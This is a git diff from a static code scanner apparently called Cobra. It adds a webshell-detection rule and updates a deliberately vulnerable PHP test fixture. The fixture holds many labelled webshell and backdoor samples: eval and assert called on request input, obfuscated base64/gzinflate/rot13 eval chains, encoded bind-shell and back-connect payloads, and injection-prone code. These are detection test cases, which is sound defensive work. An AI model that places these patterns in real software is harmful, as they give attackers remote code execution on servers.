/dev/null +++ b/rules/CVI-360037.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="UTF-8"?> +<cobra document="https://github.com/wufeifei/cobra"> + <name value="webshell2"/> + <language value="php"/> + <match mode="regex-only-match"><![CDATA[\s*\$\s*(\w+)\s*=[\s\(]*['\"](([^\n'\"]{1,1000}(\.(jpg|png|txt|jpeg|log|tmp|db|cache)|\_(tmp|log)))|((http|https|file|php|data|ftp)\://.{0,100}))[\s\S]{0,1000}(include|require)(_once)?[\s\(]\$\1]]></match> + <level value="7"/> + <test> + <case assert="true"><![CDATA[ + $a="http://www.test.com/sss.php"; + require_once $a; + ]]></case> + </test> + <solution> + ## 安全风险 + 代码中存在webshell + + ## 修复方案 + 删除 + </solution> + <status value="on"/> + <author name="Feei" email="feei@feei.cn"/> +</cobra> diff --git a/rules/vulnerabilities.xml b/rules/vulnerabilities.xml index 898bda23..8223c674 100644 --- a/rules/vulnerabilities.xml +++ b/rules/vulnerabilities.xml @@ -24,6 +24,7 @@ <vulnerability name="VO" vid="320"/> <vulnerability name="WF" vid="350"/> <vulnerability name="WE" vid="355"/> + <vulnerability name="WS" vid="360"/> <vulnerability name="AV" vid="970"/> <vulnerability name="IV" vid="980"/> <vulnerability name="IC" vid="999"/> diff --git a/tests/test_parser.py b/tests/test_parser.py index 222bcf10..be6c6ef7 100644 --- a/tests/test_parser.py +++ b/tests/test_parser.py @@ -21,8 +21,9 @@ code_contents = fi.read() sensitive_func = ['system'] +repairs = [] lineno = 7 def test_scan_parser(): - assert scan_parser(code_contents, sensitive_func, lineno) + assert scan_parser(code_contents, sensitive_func, lineno, repairs) diff --git a/tests/vulnerabilities/v.java b/tests/vulnerabilities/v.java index c18bf405..7c0cb144 100644 --- a/tests/vulnerabilities/v.java +++ b/tests/vulnerabilities/v.java @@ -10,12 +10,12 @@ String generateSecretToken() { } try: - # CVI-110001 + # CVI-330001 Cipher c = Cipher.getInstance("DESede/CBC/PKCS5Padding"); c.init(Cipher.ENCRYPT_MODE, k, iv); byte[] cipherText = c.doFinal(plainText); - # CVI-110002 + # CVI-330002 Cipher c = Cipher.getInstance("AES/ECB/NoPadding"); c.init(Cipher.ENCRYPT_MODE, k, iv); byte[] cipherText = c.doFinal(plainText); diff --git a/tests/vulnerabilities/v.php b/tests/vulnerabilities/v.php index 29cda0cf..bbbb6f88 100644 --- a/tests/vulnerabilities/v.php +++ b/tests/vulnerabilities/v.php @@ -7,63 +7,58 @@ $cmd = $_REQUEST['a']; -echo($callback . ";"); +echo ($callback . ";"); extract($cmd); - -@array_map("ass\x65rt",(array)@$cmd); +eval($cmd); $cmd = $_GET['cmd']; -if (!empty($cmd)){ - eval($cmd); - system('ls' + $cmd); +if (!empty($cmd)) { + system('ls'+$cmd); } if (isset($_GET['sid'])) { - setcookie("PHPSESSID", $cmd); + setcookie("PHPSESSID", $cmd); } phpinfo(); -if(!empty($url)) -{ - mkdir('log/'.date("Y"),0777); +if (!empty($url)) { + mkdir('log/' . date("Y"), 0777); } -function curl($url){ - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, $url); - curl_setopt($ch, CURLOPT_HEADER, 0); - curl_exec($ch); - curl_close($ch); +// cvi-120001 +function curl($url) { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_exec($ch); + curl_close($ch); } $url = $_GET['url']; -if (!empty($url)){ - curl($cmd); +if (!empty($url)) { + curl($cmd); } $url = $_GET['url']; -if (!empty($url)){ - $content = file_get_contents($url); +if (!empty($url)) { + $content = file_get_contents($url); } $url = $_GET["url"]; -if (!empty($url)){ - echo get_headers($url,1); +if (!empty($url)) { + echo get_headers($url, 1); } -print("Hello " . $cmd); - -$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size' ORDER BY $order LIMIT $limit, $offset;"; +$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size' ORDER BY $order LIMIT $limit, $offset;"; mysql_query($query); mysqli_query($query); - -if(!empty($cmd)){ - require_once($cmd); +if (!empty($cmd)) { + require_once $cmd; } highlight_file($cmd); @@ -76,26 +71,181 @@ function curl($url){ $url = $_GET["url"]; if (!empty($url)) { - header("Location: ".$url); + header("Location: " . $url); } -$test = $_POST['test']; +$test = $_POST['test']; $test_uns = unserialize($test); -$xml = $_POST['xml']; +$xml = $_POST['xml']; $data = simplexml_load_string($xml); parse_str($_SERVER['QUERY_STRING']); $a = '0'; -if($a==1){ - echo "true!"; -}else{ - echo "false!"; +if ($a == 1) { + echo "true!"; +} else { + echo "false!"; } $file = $_POST["file_name"]; -if (!empty($file)){ - unlink($file); +if (!empty($file)) { + unlink($file); } + +$host = $_POST['host']; +$port = $_POST['port']; +function GetFile($host, $port, $link) { + $fp = fsockopen($host, intval($port), $errno, $errstr, 30); + if (!$fp) { + echo "$errstr (error number $errno) \n"; + } else { + $out = "GET $link HTTP/1.1\r\n"; + $out .= "Host: $host\r\n"; + $out .= "Connection: Close\r\n\r\n"; + $out .= "Connection: Close\r\n\r\n"; + $out .= "\r\n"; + fwrite($fp, $out); + $contents = ''; + while (!feof($fp)) { + $contents .= fgets($fp, 1024); + } + fclose($fp); + return $contents; + } +} + +//cvi-165001 +$surname = $_GET['surname']; +$filter = "(sn=" . $surname . ")"; +$sr = ldap_search($ds, "o=My Company, c=US", $filter); +$info = ldap_get_entries($ds, $sr); + +//cvi-360001 +include "sss.jpg"; + +//cvi-360037 +$a = "http://www.test.com/sss.php"; +require_once $a; + +//cvi-360002 +array_filter($arr, base64_decode("ZXZhbA==")); + +//cvi-360003 +$e = "eval"; +array_filter($arr, $e); + +//cvi-360004 +echo @preg_replace('/xx/e', $_POST[sss], axxa); + +//cvi-360005 +($e = $_POST['e']) && @preg_replace($e, "eval", 'hello'); + +//cvi-360006 +($code = $_POST['code']) && @preg_replace('/ad/e', '@' . str_rot13('riny') .'($code)', 'add'); + +//cvi-360008 +$a = 'assert'; +call_user_func($a, $arr); + +//cvi-360009 +$db = new SQLite3('sqlite.db3'); +$db->createFunction('myfunc', $_POST['e']); + +//cvi-360010 +$e = $_REQUEST['e']; +$db = new SQLite3('sqlite.db3'); +$db->createFunction('myfunc', $e); +$stmt = $db->prepare("SELECT myfunc(?)"); +$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); +$stmt->execute(); + +//cvi-360011 +$sa = create_function('xxx', "eval()");$sa(); + +//cvi-360012 +$func=@create_function('$x','ev'.'al'.'(gz'.'inf'.'late'.'(bas'.'e64'.'_de'.'co'.'de($x)));'); $func($_GET['func']); + +//cvi-360013 +$sa = "eval()"; create_function('xxx', $sa); + +//cvi-360014 +$a = "eval";$a($_GET['a']); + +//cvi-360016 +filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); + +//cvi-360017 +$op = array('options' => 'assert'); +filter_var($_REQUEST['pass'], FILTER_CALLBACK, $op); + +//cvi-360018 +mb_ereg_replace('.*', $_REQUEST['op'], '', 'e'); + +//cvi-360019 +$e = "\ise"; +$data = mb_ereg_replace("/[^A-Za-z0-9\.\-]/", "", $data, $e); + +//cvi-360020 +array_walk($array, "eval"); + +//cvi-360021 +$a = "ZXZhbA==";array_walk($array, base64_decode($a)); + +//cvi-360022 +ini_set('allow_url_include, 1'); // Allow url inclusion in this script +include 'php://input'; + +//cvi-360027 +assert($_SERVER["REQUEST_URI"]); + +//cvi-360026 +$cb = 'system'; +ob_start($cb); +echo $_GET[c]; +ob_end_flush(); + +//cvi-360028 +eval(base64_decode( +ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw)); + +//cvi-360029 +$bind_pl = "IyEvdXNyL2Jpbi9lbnYgcGVybA0KJFNIRUxMPSIvYmluL2Jhc2ggLWkiOw0KaWYgKEBBUkdWIDwg..."; + +//cvi-360030 +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU2..."; + +//cvi-360031 +function zWM($NXlKO){ + $NXlKO=gzuncompress(base64_decode($NXlKO)); + for($i=0;$i<strlen($NXlKO);$i++){ + $NXlKO[$i] = chr(ord($NXlKO[$i])-1); + } + return $NXlKO; +} + +//cvi-360033 +$shver = "Emp3ror Undetectable #18"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("N3tsh_surl"); + $surl = ""; +} elseif (!empty($set_surl)) {$surl = $set_surl; + setcookie("N3tsh_surl", $surl);} else { $surl = $_REQUEST["N3tsh_surl"];} //Set this cookie for manual SURL + +//cvi-360034 +$_POST['sa']($_POST['sb']); + +//cvi-360035 +$func = new ReflectionFunction($_GET[m]); +echo $func->invokeArgs(array($_GET[c], $_GET[id])); + +//cvi-360036 +$a = 'assert'; +$arr = new ArrayObject(array('test', $_REQUEST['pass'])); +$arr->uasort($a); + +//cvi-360037 +$a="http://www.test.com/sss.php"; +require_once $a; \ No newline at end of file